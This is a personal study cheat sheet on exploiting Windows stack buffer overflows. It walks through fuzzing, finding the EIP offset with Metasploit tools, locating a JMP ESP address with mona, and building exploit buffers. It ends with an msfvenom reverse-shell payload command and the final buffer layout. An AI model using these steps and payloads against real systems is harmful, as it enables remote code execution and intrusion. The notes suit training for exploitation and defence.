Buffer overflow
Fuffer loverblow!
First some basics
The x86 architecture does contain 8 general registers that are used to store data and then can address that point to other positions in the memory
EBP (base pointer)
ESP (stack pointer)
EAX (accumulator)
EBX (base)
ECX (counter)
EDX (data)
EDI (destination index)
ESI (source index)
EIP: Extended Instruction Pointer. This is a read-only register and does contain the address of the next instruction to be executed (tells the CPU what to do next).
ESP: Extended Stack Pointer. Points to the top of the stack (at any time) at the lower memory location.
EBP: Extended Base Stack Pointer. Points to higher address (last item) at the bottom of the stack.
Bad characters
Common bad chars
0x00 NULL (\0)
0x09 Tab (\t)
0x0a Line Feed (\n)
0x0d Carriage Return (\r)
0xff Form Feed (\f)Input for testing bad chars
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e"
"\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d"
"\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c"
"\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b"
"\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a"
"\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69"
"\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78"
"\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87"
"\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96"
"\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5"
"\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4"
"\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3"
"\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2"
"\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1"
"\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"Or generate a list of bad characters in bash:
for i in {1..255}; do printf "\\\x%02x" $i; done; echo -e "\r"or Python:
'\\'.join([ "x{:02x}".format(i) for i in range(1,256) ])Windows
Global steps
Note to reader: these steps are a reminder of the global Windows buf steps for myself and are not intended to be a manual :)
Step 1: fuzz till crash and note EIP is overwritten by A's (x41).
Step 2: use pattern_create.rb to generate unique string and send it to target
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700Step 3: identify 4 bytes that overwrite EIP (this is in HEX)
Step 4: use pattern_offset.rb to calculate the offset of these specific 4 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2700 -q 39694438Step 5: send new buffer string to check if we can control the EIP register, since it should be written over with B's. Add to exploit and notice the result of the ESP and EIP registers:
buffer = "A" * 2606 + "B" * 4 + "C" * 90Step 6: check if more space within buffer is available (increase buffer length from 2700 to 3500 bytes and see if this results in a larger buffer space for our shellcode). Fire up “morespace.py” -> right click ESP -> follow in dump. Add to exploit and check for C's:
buffer = "A" * 2606 + "B" * 4 + "C" * (3500 – 2606 - 4)Step 7: check for bad chars (0x00 to 0xff). Paste all these chars within buffer and check where ESP register dump is truncated (p. 161). Right click ESP and follow in dump to see.
Step 8: if we can't jump directly to our buffer, we need to find a reliable address in memory that contains an instruction such as JMP ESP. We could jump to it, and in turn end up at the address pointed to, by the ESP register, at the time of the jump. This would be a reliable indirect way to reacht the memory indicated by ESP register. mona.py can help identify modules in memory that we can search for return address (no DEP and ASLR should be present and high memory range that doesn't contain bad chars)
!mona modulesCheck if not being affected by any memory protection schemes (Rebase, SafeSEH, ASLR, NXCompat) and note the specific DLL (right column).
Step 9: JMP ESP equivalent = opcode.
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm > jmp esp
00000000 FFE4 jmp espNote result as: "\xff\xe4"
Step 10: use mona to find the JMP ESP memory address within the DLL found in step 8. Use one which does not contain any bad chars.
!mona find -s "\xff\xe4" -m <dllname>.dllStep 11: pause Immunity Debugger and follow the address (black arrow pointing to right: "Expression to follow"). Note if the JMP ESP is found (pane left above).
Step 12: set a breakpoint to check if we can reach the JMP ESP. left upper pane -> right click -> go to expression left upper pane -> right click -> breakpoint -> toggle (F2) play and do the following:
Add to PoC (the memory address is the one we found in step 10, noted Little Endian):
buffer = "A" * 2606 + "\x8f\x35\x4a\x5f" + "C" * 390Run PoC and check if breakpoint is hit (message at the bottom of Immunity Debugger).
Step 13: generate reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=x.x.x.x LPORT=443 -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d"Step 14: add the reverse shell code to the exploit and change to:
buffer="A"*2606 + "\x8f\x35\x4a\x5f" + "\x90" * 8 + shellcodeUseful resources
Last updated
Was this helpful?